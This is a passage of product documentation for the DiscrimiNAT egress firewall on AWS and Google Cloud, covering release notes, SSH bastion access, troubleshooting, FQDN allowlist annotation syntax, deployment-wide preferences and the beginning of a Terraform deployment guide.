(2024-01-14) * HTTP `flow` Logs: additional log fields of `http_method`, `http_user_agent` and `http_path` will be present for plaintext HTTP traffic to aid in determining the source of unencrypted traffic. The traffic will always be denied with the message `insecure protocol, use https`, though. * CRL Endpoints of x509 SSL certificates, which are over plaintext HTTP, are now automatically allowed for all TLS FQDNs allowlisted. Only HTTP methods `HEAD` and `GET` are allowed to these URLs from only the clients that otherwise have the TLS FQDNs (to which these CRL Endpoints belong) allowed. * `no ip addresses resolved` warning message in `config` log for FQDNs found in the allowlist but for which a DNS lookup did not resolve any IP addresses. This is useful in spotting typos and domain names not configured yet by third parties. * Terraform module [v2.7.0](https://registry.terraform.io/modules/ChaserSystems/discriminat-gwlb/aws/2.7.0) update: variable ~~`startup_script_base64`~~ has been renamed `user_data_base64`. * **Automated System Health Reporting:** 10 minutes after boot and then at around 0200 UTC every day, each instance of DiscrimiNAT will collect its OS internals & system logs since instance creation, config changes & traffic flow information from last two hours and upload it to a Chaser-owned cloud bucket. This information is encrypted at rest with a certain public key so only relevant individuals with access to the corresponding private key can decrypt it. The transfer is encrypted over TLS. Access to this information will be immensely useful to create a faster and more reliable DiscrimiNAT as we add new features. We also aim to learn about how users interact with the product in order to further improve the usability of it as they embark on a very ambitious journey of fully accounted for and effective egress controls. We understand if certain environments within your deployment would rather not have this turned on. **To disable it,** a file at the path `/etc/chaser/disable_automated-system-health-reporting` should exist. From our Terraform module v2.7.0 onwards, this can be accomplished by including the following statement: ``` user_data_base64 = "I2Nsb3VkLWNvbmZpZwp3cml0ZV9maWxlczoKLSBwYXRoOiAvZXRjL2NoYXNlci9kaXNhYmxlX2F1dG9tYXRlZC1zeXN0ZW0taGVhbHRoLXJlcG9ydGluZwo=" ``` The _base64_ value above decodes to: ``` #cloud-config write_files: - path: /etc/chaser/disable_automated-system-health-reporting ``` Which is a [cloud-init](https://cloudinit.readthedocs.io/en/latest/reference/examples.html) way of creating that file in the instance. * Instance types `c5.large`, `c5.xlarge`, `c5.2xlarge`, `c6i.2xlarge` and `c6a.2xlarge` are no longer supported. Please choose from one of `t3.small`, `c6i.large`, `c6i.xlarge`, `c6a.large` and `c6a.xlarge`. * DiscrimiNAT OTF's product code on the AWS Marketplace has changed from ~~`a83las5cq95zkg3x8i17x6wyy`~~ to `bz1yq0sc5ta99w5j7jjwzym8g`. This has no impact on users unless they had been using the product code to lookup its AMI ID, for example. Terraform modules version 2.7.0 onward encapsulate this change. ## version 2.6.1 (2023-10-13) * health check logic now also waits for the firewall cache to build up a bit before giving a green light to the load balancer (and therefore accepting traffic on new VMs) * two new warning log message types which indicate if the configured port in a Firewall Rule has a connection-level issue: * for example `test for TLS on 203.0.113.5:80 failed` – port 80 was not listening with TLS * and for example `timed out testing connection to 203.0.113.6:443` – port 443 on that IP address is not open (from DiscrimiNAT's public IP point of view) ## version 2.6.0 (2023-07-24) * the TLS notation for allowlisting now supports IPv4 addresses besides FQDNs (i.e. without SNI), for example `discriminat:tls:203.0.113.9` * the _see-thru_ monitoring mode now accepts all specifications of IP addresses, Protocols & Ports on Security Groups. Previously, it had required IP addresses to be set to `0.0.0.0/0` and Ports & Protocols to be to set to _all_. * two new `flow` log `reason` messages when a network packet is `disallowed` have been introduced: * `cache not ready`: this message is logged when a new address is added in the allowlist but the firewall has not yet warmed up its cache for it. Expected to occur for up to 2 minutes after adding a new address (FQDN or IP.) * `spoofing detected`: logged when TLS SNI has been manipulated and a connection is attempted to an IP address that doesn't otherwise belong to the given FQDN (in the SNI.) * enabled Finite Field Diffie–Hellman ciphers for TLS 1.2, for example DHE as opposed to ECDHE * enabled ciphers **without** Forward Secrecy for TLS 1.2 * instance types have been updated to `t3.small`, `c6i.large`, `c6i.xlarge`, `c6i.2xlarge`, `c6a.large`, `c6a.xlarge`, `c6a.2xlarge`, `c5.large`,`c5.xlarge` and `c5.2xlarge`. Note that the `c6a` AMD types, although cheaper and equally performant, may not be available in all Availability Zones. **Breaking Changes** * the `config` log has its `fqdn` field name changed to `addr`. Field names have not changed in the `flow` log. * in the `config` log, association of a public IP for egress from the firewall had its category (`cat` field) set to `static-ip`. This is now set to `egress-ip`. ## version 2.5.3 (2023-05-31) * increased tolerance towards some rare TLS servers that otherwise resulted in DiscrimiNAT logging connection test failures and not allowing connections to them ## version 2.5.2 (2023-03-27) * change of base OS from Ubuntu 18.04 to Ubuntu 20.04 The CIS Ubuntu Linux 20.04 LTS Benchmark v1.1.0 Level 2 - Server report is available upon request by contacting support. The image scored 215/219. An explanation will be attached for the unmet 4. ## version 2.5.1 (2023-02-03) * general OS updates ## version 2.5.0 (2022-11-07) * DiscrimiNAT now supports load balancing, high availability and auto scaling with [AWS' Gateway Load Balancer (GWLB)](https://aws.amazon.com/elasticloadbalancing/gateway-load-balancer/). * With the GWLB, the [RTO](https://en.wikipedia.org/wiki/Disaster_recovery#Recovery_Time_Objective) for DiscrimiNAT is reduced from ~120 seconds to 10 seconds! * [New `-gwlb` Terraform module published at the registry](https://registry.terraform.io/modules/ChaserSystems/discriminat-gwlb/aws) to deploy a load balancing, highly available and an auto scaling set of DiscrimiNAT OTF instances. **Breaking Changes** * CloudWatch log group name changed from `discrimiNAT` to `DiscrimiNAT`. The first letter of the word **D**iscrimiNAT is, and going-forwards will be, in upper-case. * IAM Policy has been updated to reflect the upper-case letter **D**. * AMI name has seen the same change. * A new patch version, [2.4.1, of the ENI Terraform module](https://registry.terraform.io/modules/ChaserSystems/discriminat-eni/aws/2.4.1) has been released that constrains it to DiscrimiNAT version 2.4.x AMIs only. The ENI Terraform module will be updated in due course to support DiscrimiNAT version 2.5.x and onwards. ## version 2.4.2 (2022-10-11) * improved connection handling for very short lived TLS connections with specific server-side implementations (such as Envoy Proxy) ## version 2.4.1 (2022-05-11) * fixed a sporadic connection reset issue, that emitted `unexpected response` in the logs, and which only occurred in the `see-thru` monitoring mode while connecting to a destination at very high latency ## version 2.4.0 (2022-03-01) * new warning message in config logs when a connection test to an FQDN, carried out by discrimiNAT itself, in any allowlist fails * added support for [self-attaching an allocated Elastic IP](/docs/discriminat/aws/iam-instance-profile#elastic-ips) * discrimiNAT's own instance ID added to every log line under the key `instance`, indicating which instance the log line was emitted from * updated [TLS ECH draft extension](https://datatracker.ietf.org/doc/draft-ietf-tls-esni/) identifiers ## version 2.2.0 (2021-09-06) * [see-thru mode](/docs/discriminat/aws/config-ref#see-thru-mode) introduced; build allowlists super-quick by putting a Security Group in monitor mode first * serverless support introduced; Lambdas etc. with an interface in the VPC will have their outbound traffic filtered * full bypass hook added; please reach out to [support](/support) for instructions on this ## version 2.1.0 (2021-08-19) * improved handling for a large number of FQDNs in the allowlists * updated [TLS ECH draft extension](https://datatracker.ietf.org/doc/draft-ietf-tls-esni/) identifiers ## version 2.0.5 (2021-05-11) * restricted firewall rule scanning to the same VPC as discrimiNAT firewall was deployed in ## version 2.0.4 (2021-04-07) * updated [TLS ECH draft extension](https://datatracker.ietf.org/doc/draft-ietf-tls-esni/) identifiers ## version 2.0.3 (2020-11-10) * v2 launch * completely new architecture addressing the potential for mismatch of IPs addresses as looked up by a protected workload from the VPC resolver and as looked up by the discrimiNAT firewall * rewritten in Rust ## version 20200524 (2020-05-27) _available on request; v1 is now deprecated; please upgrade to v2_ ## version 20200516 (2020-05-20) _available on request; v1 is now deprecated; please upgrade to v2_ ## version 20191207 (2019-12-10) _available on request; v1 is now deprecated; please upgrade to v2_ ## version 20191108 (2019-11-12) _available on request; v1 is now deprecated; please upgrade to v2_ ## version 20190911 (2019-09-13) * v1 launch --- ## SSH Bastion Access to DiscrimiNAT OTF on AWS # SSH Access On some occasions you may want a [bastion host](https://en.wikipedia.org/wiki/Bastion_host) present in your VPC. For example: - accessing a DiscrimiNAT instance over SSH - accessing a host without a public IP ### Creating a Bastion Host ![EC2 instance for Bastion Host](img/01-vpc-public-subnet.png) Let's create a new instance pretty much as usual, taking care that: - it's in the right VPC (one that has DiscrimiNAT in it) - it's in the _Public_ subnet so that direct public IP is routing is available - _Auto-assign public IP_ is _Enabled_ --- ![EC2 tag for Bastion name](img/02-name-my-bastion.png) Perhaps give it an appropriate name. --- ![New Security Group for Bastion SSH](img/03-ssh-security-group.png) Let's create a new security group while we're at it, for the exclusive purpose of letting you connect to this bastion host. Choosing _My IP_, in most cases, should accurately determine your IP address. **This will enable you to directly connect to this instance, from your public IP to its public IP.** --- ![EC2 Key Pair for Bastion SSH](img/04-ssh-bastion-keypair.png) Associate an SSH Key Pair so we can log in at all. Your bastion host on AWS is now ready! ### Accessing a DiscrimiNAT instance through the Bastion :::caution SSH Key If DiscrimiNAT was deployed via the provided CloudFormation templates or Terraform modules, an SSH Key Pair should've been set at that stage; otherwise, you won't be able to authenticate into its instances. ::: The DiscrimiNAT image is hardened per _The CIS Ubuntu Linux 24.04 LTS Benchmark Level 2 - Server_. Therefore, SSH access to it requires your posture to be sound and secure. Let's check with a few commands on your machine: 1. The SSH Agent should have only one identity loaded. This is to prevent it from trying one identity after another to the server, causing the server to block the user after too many failures. So it's safer to just have the one identity that will work. `ssh-add -L` If the output shows more than one line, you may clear all of them out with the command `ssh-add -D`. If the previous command still shows some lines, check the `.ssh` directory in your home directory for unexpected private key files. 2. To add a specific private key to the SSH Agent, run the command: `ssh-add /path/to/private-key` And then check with `ssh-add -L` whether only one line in the output is present. 3. The username to use for login will depend on the Linux image chosen for this function. :::tip Contact our [DevSecOps Support](/support) for help with the usernames. ::: ![EC2 Bastion Public IP](img/05-public-ip-bastion.png) ![EC2 DiscrimiNAT Private IP](img/06-private-ip-discriminat.png) 4. Finally, SSH into the DiscrimiNAT instance using the bastion host as _ProxyJump_. This is needed because DiscrimiNAT will only allow SSH connections from private IPs (i.e. within the VPC), so you cannot connect to it from a public IP. You will need the public IP address of the bastion, the private IP address of the target DiscrimiNAT instance, and this command: `ssh -J @ @` An example of a fully formed command from the example deployment in the screenshots is: `ssh -J @3.122.51.213 @10.10.6.90` If you manage to lock yourselves out of a DiscrimiNAT instance due to repeated authentication failures, either terminate the instance and let the AutoScaling Group bring back a new one, or wait 15 minutes. ### Accessing a host without a public IP through the Bastion This could be much simpler if your target instances are not fussy about where you connect from and how many keys you present during authentication. However, since the targets do not have a public IP address at all in this case, you still need to use a bastion host, so there is connectivity to and from them. The commands are the same as above: 1. Verify the right keys are loaded in your SSH Agent: `ssh-add -L` 2. Connect using the bastion host as _ProxyJump_: `ssh -J @ @` --- ## DiscrimiNAT OTF on AWS Troubleshooting # Troubleshooting ### Video for End Users If you are an application developer, a service owner or an end-user of DiscrimiNAT tasked with getting new domain names working, this \<5m video is for you and covers the most common issue along with solutions. ### Search for _warning_ messages from DiscrimiNAT The firewall may have tried to warn you about an issue it can foresee. Search for `{$.outcome = "warning"}` in CloudWatch -> Logs -> Log Management -> DiscrimiNAT -> **config** log stream. You may find a descriptive clue in the resultant log lines from the last few minutes/hours. ### Elastic IPs not attached to DiscrimiNAT VMs If a Public IP is not found attached to a DiscrimiNAT instance, it will look for any allocated but unassociated Elastic IPs that have a tag-key named `discriminat` (set to any value.) One of such Elastic IPs will be attempted to be associated with itself then. An EC2 VPC Endpoint is needed in DiscrimiNAT's subnets for this mechanism to work though – since making the association needs access to the EC2 API. See the [Terraform](https://github.com/ChaserSystems/terraform-aws-discriminat-gwlb#deployment-examples) or [CloudFormation](https://github.com/ChaserSystems/cloudformation-aws-discriminat-gwlb/blob/main/2az_demo.json#L814-L845) examples. The IAM permissions needed to do this are already a part of our Terraform modules and CloudFormation templates. ### Logs not appearing in CloudWatch It could be one of these three potential issues: 1. DiscrimiNAT VMs do not have an Elastic IP associated. 1. There is a _logs_ VPC endpoint in the VPC but not in the subnets where DiscrimiNAT is deployed. 1. From v2.5.0 onwards of DiscrimiNAT, the CloudWatch log group name changed from `discrimiNAT` to `DiscrimiNAT`. ~~While we're working on getting the permissions updated on the AWS Marketplace deployment templates,~~ please ensure the IAM Policy for DiscrimiNAT has the right capitalisation for `DiscrimiNAT` log group. ### Clients' network traffic sometimes allowed, sometimes not. #### Resolution Please upgrade the instance size from `t3.small` to `c6a.large` or `c6i.large`. This is done via the `instance_size` Terraform variable. The `t3.small` instance size only suffices for light loads and a few clients. The `c6` series offers the best CPU to egress bandwidth and price ratios for the kind of work involved. Use of other instance size classes, such as `m` and `r`, is not recommended because the DiscrimiNAT is not a memory-intensive application, therefore making machines with more memory than needed not a cost-optimal choice. ### _see-thru_ mode not working If the _config_ logs do not show a log line picking up a _see-thru_ rule, you may have a problem with the annotation's implied syntax. #### Resolution The _see-thru_ mode requires a Security Group Outbound Rule (or the _see\_thru_ [default preference](/docs/discriminat/aws/default-prefs/#see_thru)) to have a valid calendar date. For example, `discriminat:see-thru:2022-02-29` is NOT a valid date (because 2022 was not a leap year) but `discriminat:see-thru:2022-02-28` is. --- ## DiscrimiNAT OTF on AWS Video Tutorials # YouTube Playlist --- ## DiscrimiNAT OTF with Cloud Composer and GKE Autopilot # Cloud Composer and GKE Autopilot ## Concepts >Cloud Composer is a fully managed workflow orchestration service, enabling you to create, schedule, monitor, and manage workflows that span across clouds and on-premises data centers. >Cloud Composer is built on the popular Apache Airflow open source project and operates using the Python programming language. Source: https://docs.cloud.google.com/composer/docs/composer-2/composer-overview **From v2.4.2** onwards, the DiscrimiNAT supports filtering traffic egressing from an Autopilot mode VPC-native Google Kubernetes Engine cluster, when Network Tags are applied, in a Composer v2 [Private IP architecture](https://docs.cloud.google.com/composer/docs/composer-2/environment-architecture#private-ip-psc) environment. ## Network tags A Composer v2 environment's cluster is an Autopilot mode VPC-native Google Kubernetes Engine cluster. Network Tags to it, however, can be applied at the time of the Composer environment's creation. ![GCP Marketplace Launch](img/composer-v2-gke-autopilot-network-tags.gif) :::caution When Network Tags are applied to a Composer v2 environment, DiscrimiNAT will apply corresponding Firewall Rules' FQDN allowlists to the **entire primary subnetwork**. With SNAT enabled in such environments (default), after translation from the Pods, any Internet-bound traffic egresses from the managed Nodes in the primary subnetwork. This means if you were running any other compute in the same subnetwork, the FQDN allowlist for the Composer v2 environment would apply to it as well. The [config logs](/docs/discriminat/gcp/logs-ref#config-logs) show the association of such rules to such a compute workload (a VM, for example) too. Therefore, it is highly recommended to use dedicated primary subnetworks for Composer v2 environments. ::: ## Role Add the following permissions to DiscrimiNAT's service account's role to allow it to apply corresponding Firewall Rules to the clusters' subnets. ``` container.clusters.list compute.subnetworks.get ``` :::tip Also see the [Service Account](../service-account/) page for other permissions of interest. ::: --- ## DiscrimiNAT OTF Google Cloud Configuration Reference # Config Reference With DiscrimiNAT, the Firewall Rules attached to the applications that need filtered access to the Internet can be annotated with the set of allowed FQDNs. This allows creating **least privilege egress policies** from the protected workload to the Internet. No need to create VPC-wide allowlists that allow discrete applications access to what they needn't. Refer to [allowlist docs](/docs/discriminat/gcp/default-prefs/) under Default Preferences if you'd rather go down this route. :::info DiscrimiNAT's own Firewall Rules need not be altered. ::: On this page, we cover the syntax for the Cloud-native Firewall Rules' **description** fields, where the annotations live. ### See-Thru mode The `see-thru` mode is a non-blocking configuration that allows one to [build an appropriate allowlist 🎥](/docs/discriminat/gcp/logs-ref/#building-an-allowlist-from-scratch-video-version) up to a specified date. The annotation is added to the description fields of **egress rules of protected applications to-be**. #### Syntax `discriminat:see-thru:YYYY-mm-dd` :::caution The rule will automatically stop working **after** the `YYYY-mm-dd` date. ::: #### Examples `discriminat:see-thru:2026-12-31` `discriminat:see-thru:2026-09-09` Configuring this mode in the **GCP web console** would look like: ![](img/gcp-firewall-rule-see-thru-example-discriminat.png) In **Terraform**, this would be along the lines of: ``` resource "google_compute_firewall" "some-app" { name = "monitor-some-app" network = var.network direction = "EGRESS" destination_ranges = ["0.0.0.0/0"] allow { protocol = "all" } target_tags = ["new-app"] description = "discriminat:see-thru:2026-12-31" } ``` #### Ports Only in the case of protocol set to TCP, a port range can also be specified in the Firewall Rule for the see-thru mode. If it is, the see-thru mode only applies to TCP packets egressing to that port range and not other ports. Multiple TCP port ranges may be set, though. If a port range is not set, the see-thru mode applies to all ports. #### Logs The **flow** logs at `logName="projects//logs/discriminat-flow"` in Logs Explorer will have three additional fields for traffic from any workload that has a Firewall Rule with a `see-thru` annotation in it: 1. `see_thru_exerted`: **true** when no `tls` or `ssh` protocol rules allowed this connection through and it's only because of the `see-thru` rule that the connection has been let through. **false** when an already present `tls` or `ssh` protocol rule would otherwise allow this connection through. The rest of the fields in the log line remain as they would without the `see-thru` rule, hence indicating which `tls` or `ssh` protocol rule matched to let this connection through. 1. `see_thru_gid`: The Firewall Rule where the enacted `see-thru` was found. 1. `see_thru_days_remaining`: The number of remaining days this rule will continue to work. Runs into negative if the current date goes past the specified date. These log fields are still emitted if a `see-thru` rule with any date, past or future, remains specified. ### TLS and SSH mode The `tls` and `ssh` modes are a blocking configuration that will only allow FQDNs set out in the allowlist. Destination protocols, [FQDNs](https://en.wikipedia.org/wiki/Fully_qualified_domain_name) and IP Addresses are added to the description fields of **egress rules of the protected applications**. :::caution If transitioning from a `see-thru` rule, note that `tls` and `ssh` rules **require a specific port number** to be specified in the Firewall Rules. ::: #### Syntax `discriminat::` ([Secret Path variant](#secret-path-variant)) `discriminat::[,,]` ([Inline variant](#inline-variant)) - Valid protocols are `ssh` and `tls` only. - There can be other text leading and trailing this specification, separated by whitespace. - All of it is case insensitive, except the Secret Path if specified. - [Wildcards](/docs/discriminat/gcp/default-prefs/#wildcard_exposure) are only supported for the TLS protocol. :::caution **Please familiarise yourself with [operation and caveats](/blog/wildcards-and-system-2-thinking/#operation) on the behaviour of wildcard rules before using them.** ::: #### Secret Path variant - The \ is the full path of a Secret. It can be in another GCP Project as well, as long as DiscrimiNAT's Service Account has _Secret Manager Secret Accessor_ Role to read it. - If using our Terraform modules, see the [Terraform section](/docs/discriminat/gcp/service-account/#terraform) on the Service Account page for example code. - The JSON format for list of FQDNs and IP Addresses in the payload of a Secret is: ```json { "addrs": [ "fqdn1.com", "*.github.com", "203.0.113.9", "smtp.zoho.eu:465", "smtp-hve.office365.com:587", ... ] } ``` ##### Examples If the above payload were to be stored in a Secret called `service-foo-allowed-fqdns`, its full path could be `projects/000000000000/secrets/service-foo-allowed-fqdns`. Therefore, what goes in description field will be: `discriminat:tls:projects/000000000000/secrets/service-foo-allowed-fqdns` Configuring this variant in the **GCP web console** would look like: ![](img/gcp-firewall-rule-secret-path-example.png) #### Common constraints to both variants - `Direction of traffic` must be `Egress`. - `Targets` must be set to `Specified target tags`. **And then specify the same Network Tags as on the virtual machines that you'd like this firewall rule to be applied to.** Precisely like you would anyway. - Under `Protocols and ports`, only choose `tcp` and **specify exactly one port number**. To use another port for an alternative set of addresses, simply create another Firewall Rule with that port number. See the [Connecting to MS/Azure SQL Server over TLS](/docs/how-to/tls-upgrade/sql-server/#on-gcp) guide for an example. - For your typical **HTTPS** outbound connection, the port number would be `443`. - A typical **SFTP** connection has the port number of `22`. - **Kafka** typically, as another example, is on port `9092`. - `Destination filter` must be set to `IP range` and the range set to the narrowest you can think of. Now if you don't have anything narrower than `0.0.0.0/0` that is absolutely fine! The firewall takes care of validating the destination IP address of actual packets in many ways, but the Firewall Rule at the Google Cloud networking and security level must allow the packet to leave the virtual machine at all. **`0.0.0.0/0` is a safe choice with DiscrimiNAT OTF in the way.** - Multiple Firewall Rules can be associated with the virtual machines with the use of Network Tags, and they will all be recognised. - In the JSON input format, a port override can be specified for an FQDN in the conventional format: `:`. For example, `cluster1.kafka4u.net:9092`. The Firewall Rule attached to the workload should, however, also allow this outbound TCP port for this to work. #### Inline variant - There can be as many FQDNs and IP Addresses as you can fit separated by commas. There cannot be whitespace, though. - Multiple Firewall Rules can be created to accommodate more addresses, or group them by some criteria. ##### Examples - `DiscrimiNAT:TLS:api.foo.example.com,downloads.example.net,203.0.113.9` - `DiscrimiNAT:SSH:sftp.txs.example.org,ssh.github.com` - `discriminat:tls:api-v?.example.com discriminat:tls:www.example.org` - `lorem ipsum discriminat:ssh:ssh.github.com,gitlab.com,203.0.113.9 dolor sit amet` Configuring this variant in the **GCP web console** would look like: ![](img/gcp-firewall-rule-tls-ssh-example-discriminat.png) In **Terraform**, this would be along the lines of: ``` resource "google_compute_firewall" "acme" { name = "acme-reports-upload" network = var.network direction = "EGRESS" destination_ranges = ["0.0.0.0/0"] allow { protocol = "tcp" ports = ["443"] } target_tags = ["acme"] description = "discriminat:tls:api.acme.com,auth.acme.com,203.0.113.9,foo.example.com,bar.example.net" } ``` ### Default Allowlist Refer to [allowlist docs](/docs/discriminat/gcp/default-prefs/) under Default Preferences. ### Complete Bypass If you would like to discuss alternate protocols or know how to completely bypass the DiscrimiNAT whilst still routing traffic, get in touch with our [DevSecOps Support](/support/) to discuss the best option for your use case. --- ## DiscrimiNAT OTF Google Cloud Default Preferences # Default Preferences From v2.9.0 of DiscrimiNAT, certain behavioural preferences can be set at global level per deployment. These are defined in JSON format in a Secret named `DiscrimiNAT_` (case-sensitive) in Secret Manager and the default value if not defined or not accessible is: ```json { "%default": { "allowlist": { "tls": null, "ssh": null }, "wildcard_exposure": "prohibit_public_suffix", "flow_log_verbosity": "full", "see_thru": null, "x509_crls": "ignore", "starttls": { "smtp": { "posture": "closed", "ehlo_entropy_limit": 0 } } } } ``` :::tip Preferences you wish to leave at defaults can be excluded. Also, any additional JSON keys will simply be ignored. ::: :::caution Preferences are refreshed **once every five minutes** from the Secret. ::: ## Preferences ### allowlist This JSON key is the parent for nested, protocol-specific default allowlists. A default allowlist is a list of allowed addresses that applies to workloads not discovered by DiscrimiNAT or that have no Firewall Rule level allowlist specification. The only protocols supported at this time are `tls` and `ssh`. #### Default `"allowlist":{"tls":null,"ssh":null}` ### allowlist.tls This nested key under `allowlist` sets the default list of allowed addresses (FQDNs or IP addresses) over the TLS protocol, on port 443 unless overridden, for all workloads. The value is supposed to be the full path of a Secret containing a list of addresses. See the [Secret Path variant docs](/docs/discriminat/gcp/config-ref/#secret-path-variant) for more. #### Example `{"tls":"projects/000000000000/secrets/foo-default-allowed-fqdns"}` ### allowlist.ssh Same as `tls` above but for the SSH protocol, and on port 22 unless overridden. ### wildcard_exposure Generally, `?` represents one character match exactly which isn't a `.`, and `*` matches any number of characters except `.`. #### Options `none`: no wildcard characters such as `?` or `*` are allowed at all `prohibit_asterisk`: `?` is allowed; `*` is not allowed `prohibit_public_suffix`: `?` is allowed; `*` is allowed as long as the possibility of resulting domain names are not publicly registrable (aka Effective TLDs). For example, `*.github.com` is okay but `*.github.io` is not. Another example would be `*.cloudflare.net` being effectively public. This is determined using [Mozilla's Public Suffix List (PSL)](https://publicsuffix.org/) bundled into DiscrimiNAT. The version of the PSL bundled will be in the [Release Notes](/docs/discriminat/gcp/release-notes/) and will be updated with every release. :::tip If a wildcard pattern is not accepted because it could have led to a Public Suffix List match, a _config_ log message like the following will be emitted: ``{addr: "*.github.io", cat: "addr", outcome: "publicsuffix[.]org list matched with `github.io`"}`` ::: `nuclear`: `?` is allowed; `*` is allowed with no public suffix list safeguard #### Default `prohibit_public_suffix` ### flow_log_verbosity This setting only impacts the _flow_ logs. _config_ logs verbosity and behaviour will not be affected. #### Options `full`: all _allowed_ and _disallowed_ flows for both the client requests and the server responses are logged in the _flow_ logs `only_disallowed`: only _disallowed_ flows will be logged `none`: no logs at all #### Default `full` ### see_thru The `see_thru` non-blocking, monitoring mode can be enabled for an entire deployment rather than per Firewall Rule from this level. This is only the default and does not override a _see-thru_ mode defined at a more granular level – even if the one at the granular level may have expired. :::tip See [see-thru](/docs/discriminat/gcp/config-ref/#see-thru-mode) mode docs for understanding this non-blocking, monitoring mode in detail. ::: #### Options `yyyy-mm-dd` formatted date `null` to not enable _see_thru_ at the default level. `null` value to be specified without quotes or this top-level key can be left out completely. #### Default `null` ### x509_crls #### Options `auto_allow`: Automatically allow plaintext HTTP CRL Endpoints of x509 SSL certificates for all TLS FQDNs allowlisted. `ignore`: Do not allow CRL Endpoints automatically. #### Default `ignore` ### starttls This JSON key is the parent for nested, protocol-specific StartTLS preferences. The only StartTLS protocol supported at this time is `smtp`. #### Default `"smtp":{"posture":"closed","ehlo_entropy_limit":0}` ### starttls.smtp :::tip See the [StartTLS SMTP](/docs/how-to/starttls/smtp/) guide for safely enabling this capability. ::: This nested key under `starttls` controls the posture and limits for the SMTP protocol's StartTLS commands, i.e. the plaintext communication before the connection upgrades to TLS. #### Default `{"posture":"closed","ehlo_entropy_limit":0}` ### starttls.smtp.posture This nested key under `starttls.smtp` sets the deployment-wide posture for DiscrimiNAT to let StartTLS SMTP plaintext commands pass through or not. This includes messages received from an SMTP server beginning with `220` and `250`, and messages sent by a client beginning with `EHLO` and `STARTTLS`. #### Options `closed`: StartTLS SMTP plaintext commands are not allowed. `open`: StartTLS SMTP plaintext messages received from an SMTP server beginning with `220` and `250`, and messages sent by a client beginning with `EHLO` and `STARTTLS` are allowed. #### Default `closed` ### starttls.smtp.ehlo_entropy_limit This nested key under `starttls.smtp` sets the deployment-wide Shannon Entropy limit of the argument to the `EHLO` command in `EHLO` messages sent by any client to the Internet. For example, in the StartTLS command `EHLO mail.example.com\r\n`, the argument is `mail.example.com` of which the Shannon Entropy is `3.20`. `EHLO` messages sent by a client exceeding this limit will be disallowed by DiscrimiNAT. Shannon Entropy is rounded to two decimal places with the [MidpointAwayFromZero strategy](https://docs.rs/rust_decimal/latest/rust_decimal/enum.RoundingStrategy.html#variant.MidpointAwayFromZero). For example, `3.2028` becomes `3.20`, `3.25` remains `3.25` and `3.256` becomes `3.26`. You can calculate the Shannon Entropy of any text input using [GCHQ's CyberChef Entropy tool set to the Shannon scale](https://gchq.github.io/CyberChef/#recipe=Entropy('Shannon%20scale')). [Shannon Entropy is a measure of the average amount of information contained in a message](https://jollycontrarian.com/index.php/Shannon_entropy). It can range from 0 to 8, where the higher the number the more 'information' it can pack by the way of encoding. :::caution Higher numbers can be indicative of exfiltration via the EHLO argument. See the [StartTLS SMTP](/docs/how-to/starttls/smtp/) guide for safely enabling this capability. ::: #### Range Minimum: `0.00` Maximum: `8.00` #### Default `0` ## Examples It may be useful to turn on the non-blocking, monitoring `see_thru` mode on until a specified date on a new deployment of DiscrimiNAT. This would ensure apps continue to work while data is captured for building an allowlist from eventually: `{"%default":{"see_thru":"2026-11-19"}}` :::tip Also see [building an allowlist from scratch video recipe](/docs/discriminat/gcp/logs-ref/#building-an-allowlist-from-scratch-video-version). ::: Ultimately, when allowlists are built and enforced, you may want to turn off _flow_ logs for _allowed_ connections, saving on logging costs: `{"%default":{"flow_log_verbosity":"only_disallowed"}}` To also enable automatic allowing of X509 CRL Endpoints: `{"%default":{"flow_log_verbosity":"only_disallowed","x509_crls":"auto_allow"}}` ## System System-level preferences are passed directly to VM instance creation, are stored as files on the operating system disk, and are only read on start. These are placed within the instance because they represent critical customer choices that must be respected whether external APIs are accessible or not and the right IAM permissions on the Service Account are assigned or not. ### BYOL A licence key supplied by Chaser Support if using a BYOL version. The value can be passed to the `byol` variable in our [Terraform modules](https://registry.terraform.io/namespaces/ChaserSystems). The contents are Base64 decoded and written to the path `/etc/chaser/licence-key.der`. ### ASHR Automated System Health Reporting. 10 minutes after boot and then at around 0200 UTC every day, each instance of DiscrimiNAT collects its OS internals & system logs since instance creation, config changes & traffic flow information from last two hours and uploads it to a Chaser-owned cloud bucket. This information is encrypted at rest with a certain public key so only relevant individuals with access to the corresponding private key can decrypt it. The transfer is encrypted over TLS. Access to this information is immensely useful to create a faster and more reliable DiscrimiNAT as we add new features. We also get to learn about how users interact with the product in order to further improve the usability of it as they embark on a very ambitious journey of fully accounted for and effective egress controls. We understand if certain environments within your deployment would rather not have this turned on. To disable it, a file at the path `/etc/chaser/disable_automated-system-health-reporting` should exist. This can be achieved by setting the `ashr` variable to `false` in our [Terraform modules](https://registry.terraform.io/namespaces/ChaserSystems). --- ## Deploy DiscrimiNAT OTF on Google Cloud Yourself # DIY & Terraform :::info Ensure you've visited our [marketplace page](https://console.cloud.google.com/marketplace/details/chasersystems-public/discriminat) and accepted the terms & conditions, and any custom offers you may have been extended for your GCP account, first. ::: ## IMAGE IDENTIFIERS | key | value | | ------- | -------------------- | | family | discriminat | | project | chasersystems-public | ## DEPLOYMENT ESSENTIALS For effective functioning, DiscrimiNAT will need: 1. A machine type with at least 2 vCPU and 2 GiB RAM. An `e2-small` should suffice where throughput requirements are basic and allowlists small. Otherwise an `n2-highcpu-2` makes a good choice for constant throughput. [Talk to our DevSecOps](/support/) to get the sizing right. 1. A service account that can read/write compute metadata, and write to logging and monitoring: ```plaintext serviceAccounts: - email: -compute@developer.gserviceaccount.com scopes: - https://www.googleapis.com/auth/compute - https://www.googleapis.com/auth/logging.write - https://www.googleapis.com/auth/monitoring.write ``` 1. Ability to forward IP packets with the `canIpForward` property turned on. 1. A public IP. 1. SSD disk type is recommended. When deploying the instance(s), you may configure high-availability through a Managed Instance Group (see reference implementation [here](https://github.com/ChaserSystems/terraform-google-discriminat-ilb/blob/main/discriminat.tf#L300)), routing and tagging as per your desired architecture. For example, the route to the Internet will be for destination `0.0.0.0/0` for instances without a public IP and should pass through the DiscrimiNAT instance – whether by tagging or by internal load-balancing. **For monitoring the logs and configuring the FQDN-based firewall egress rules, see the [logs](/docs/discriminat/gcp/logs-ref/) and [config](/docs/discriminat/gcp/config-ref/) references.** ## TERRAFORM MODULES Before you dive into the DIY code that follows, you may want to consider our fully-working [modules at the Terraform Registry](https://registry.terraform.io/namespaces/ChaserSystems), which include **preconfigured high-availability** and further examples. In fact, one of the examples extends from the canonical [terraform-google-modules/network/google](https://registry.terraform.io/modules/terraform-google-modules/network/google/) module at the registry. You will find [two modules](https://registry.terraform.io/namespaces/ChaserSystems) relevant to Google Cloud at the registry, which can be briefly described as: ### discriminat-ilb Architecture with internal TCP load 